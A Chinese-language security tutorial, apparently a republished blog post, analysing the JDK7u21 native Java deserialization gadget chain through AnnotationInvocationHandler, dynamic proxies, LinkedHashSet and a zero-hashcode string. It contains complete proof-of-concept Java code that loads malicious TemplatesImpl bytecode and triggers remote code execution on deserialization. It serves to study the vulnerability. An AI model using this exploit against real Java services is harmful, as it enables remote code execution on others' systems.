【java安全】原生反序列化利用链JDK7u21

这篇具有很好参考价值的文章主要介绍了【java安全】原生反序列化利用链JDK7u21。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类:Common-CollectionsCommon-Beanutils进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时,需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler,没错,就是我们之前学习过的那个类,位于:sun.reflect.annotation包下

equalsImpl()

我们看一下equalsImpl()getMemberMethods方法:

private Boolean equalsImpl(Object var1) {  //传入var1
        ...
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];  // var5是一个方法对象
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);  // 这里会调用var1这个对象的var5方法
                    } 
                    ...

            return true;
        }
    }

private transient volatile Method[] memberMethods = null;

private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

equalsImpl()方法中明显会调用memberMethod.invoke(o) ,而memberMethod来自于this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为TemplatesImpl对象,并且this.typeTemplatesImpl的字节码对象。

那么经过循环就会调用TemplatesImpl对象中的每个方法,就必然会调用newTransformer()getOutputProperties()方法从而执行恶意字节码了

如何调用equalsImpl()?

那么在哪里会调用equalsImpl()方法呢?invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
    
    	//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);  
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4); //cc1
                ...
            }
        }
    }

我们之前cc1中是另this.memberValues等于一个LazyMap对象,让其调用get()方法,就可以执行cc1利用链了

但是这里我们不需要利用这里,我们需要注意这里:

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
	return this.equalsImpl(var3[0]);  
}

我们应该思考这里的invoke()方法如何被调用,并且刚好使形参的第二个为equals、第三个参数的类型为Object对象

我们之前学习过动态代理,当一个代理对象Proxy调用一个方法时,就会调用构造该代理对象时传入的InvocationHandlerinvoke()方法,并且第二个参数为methodName方法名,invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用equals()方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程

【java安全】原生反序列化利用链JDK7u21,java,java,安全,web安全

我们创建一个LinkedHashSet对象,当反序列化时会遍历每一个值,使用LinkedHashMap#put()方法,

put()方法中这几行是重点

int hash = hash(key);  //计算key的hash值
int i = indexFor(hash, table.length);  //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
	Object k;
 	if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重点

这里会对key的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行keyequals()方法,传入参数k

这里我们假设keyProxy代理对象,并且这里传入的k是一个TemplatesImpl恶意对象,那么就会执行AnnotationInvocationHandlerinvoke()方法,从而执行equalsImpl()中的invoke()方法

最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

【java安全】原生反序列化利用链JDK7u21,java,java,安全,web安全

我们怎么控制上面的key以及k=e.key呢?

其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:LinkedHashSet中的元素而已

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加TemplatesImpl对象,再添加Proxy代理对象,这样才好触发key.equals(k)

如何使hash相等?

我们上面其实默认了一个前提,那就是e.hash == hash 。其实这两个默认肯定不相等,我们需要一些小操作使其相等

我们先来看看HashMap中的hash()方法:

final int hash(Object k) {
        ...
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里自始至终只用到了一个变量k.hashCode(),其他的都相等,我们想要ProxyTemplateImpl的hash相等,其实只需要让k.hashCode()相等即可

TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()

当我们调用proxy.hashCode()时,就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法,我们继续看看invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }
            ...
        }
    }

可见,会继续调用invoke()中的hashCodeImpl()方法:

private int hashCodeImpl() {
        int var1 = 0;

        Map.Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Map.Entry)var2.next();
        }

        return var1;
    }

重点是下面这一句,var1是计算累加和的,如果this.memberValues是一个HashMap类型并且其中只有一个元素,那么函数的返回值就变成了这个了:

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即:
127 * key.hashCode() ^ value.hashCode()

我们想让ProxyTemplateImpl的hash相等,并且TemplateImplhash不可控。

上述代码中如果我们令key.hashCode()=0,并且我们令value 等于TemplateImpl对象,那么这两个的hash就相等了,进而可以执行Proxy的equals()方法了

我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:

public static void bruteHashCode()
{
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i));
		}
	}
}

跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意TemplatesImpl对象:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

为了使ProxyTemplateImpl的hash相等,以便执行equals(),我们需要让AnnotationInvocationHandlerthis.memberValues等于一个HashMap并且只有一个元素:key为f5a5a608,value为:TemplateImpl对象,这样由AnnotationInvocationHandler组成的代理对象proxyTemplateImpl的hash就会相等

所以创建一个HashMap

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

实例化 AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象

实例化AnnotationInvocationHandler类,将map传参进去,经过构造函数设置为memberValues

由于equalImpl()方法会调用memberMethod.invoke(o),这个memberMethod来自this.type.getDeclaredMethods()所以需要设置typeTemplatesImpl的 字节码,这里构造函数会将第一个参数设为type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的LinkedHashSet之前,我们需要创建一个代理对象,将tempHandler给传进去

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后实例化:HashSet:

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals()

这样在反序列化触发rce的流程如下:

首先触发HashSet的readObject()方法,然后集合中的值会使用LinkedHasnMapput(key,常数)方法进行key去重

去重时计算元素的hashcode,由于我们已经构造其相等,所以会触发Proxy#equals()方法

进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()会遍历type的每个方法并调用。

因为this.typeTemplatesImpl字节码对象,所以最终会触发newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Gadget

HashSet#readObject()
    LinkedHashMap#put(e, PRESENT)
    	Proxy#equals(k)
    		AnnotationInvocationHandler#invoke()
    			equalsImpl()
    				TemplatesImpl#newTransformer()
    					...
    					ClassLoader.defineClass()
    					...
    					Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值?

我们追踪一下HashSet#add()方法,发现他也会调用HashMap#put()方法,这样就会导致Proxy提前触发equals()方法造成命令执行:

【java安全】原生反序列化利用链JDK7u21,java,java,安全,web安全

我们测试一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, templates);  //value再这里设为templates

        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功不经过反序列化就弹出计算器:

【java安全】原生反序列化利用链JDK7u21,java,java,安全,web安全

所以我们需要先将HashMap的唯一一个元素的value设为其他值文章来源地址https://www.toymoban.com/news/detail-625029.html

到了这里,关于【java安全】原生反序列化利用链JDK7u21的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java代码审计&原生反序列化&CC链跟踪分析

    希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!   个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser\\\'s Blog 在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=gadget=sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=gadget=s

    2024年01月24日
    浏览(37)
  • Java安全基础之Java序列化与反序列化

    目录 ObjectInputStream 和 ObjectOutputStream java.io.Serializable 自定义序列化和反序列化 Java 的序列化(Serialization)是指将对象转换为字节序列的过程,而反序列化(Deserialization)则是将字节序列转换回对象的过程。 序列化和反序列化通常用于在网络上传输对象或者将对象持久化到文

    2024年04月22日
    浏览(37)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(43)
  • java安全(五)java反序列化

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中,JSON和XML支持的数据类型就是基本数据类型,整型、浮点型、字符串、布尔等,如果

    2024年02月10日
    浏览(44)
  • Web安全--反序列化漏洞(java篇)

    序列化的意义就在于方便存储和传输,永久的保存到硬盘中,通常保存在一个文件中。 序列化:将java对象转换为字节序列的过程 反序列化:序列化的逆过程,从储存区读出字节序列还原成对象的过程 java应用在对用户的输入没有进行严格的检查时,即传入了不可信的数据做

    2024年02月09日
    浏览(52)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(48)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(55)
  • Java安全 反序列化(1) URLDNS链原理分析

    开始学习Java反序列化链–URLDNS 请提前了解Java序列化和反序列化,熟悉Java反射机制 1.判断是否存在反序列化的点 2.判断目标是否出网 先上payload 后进行分析 可以触发dns请求 1.新建HashMap类 什么是HashMap: 基于哈希表的实现的 Map 接口 HashMap是什么? 是键值对映射关系的集合,可

    2024年04月09日
    浏览(54)
  • Java安全之反序列化回显与内存码

    import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.ArrayList; @WebServlet(“/demoServlet”) public class demoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletEx

    2024年04月15日
    浏览(34)
  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包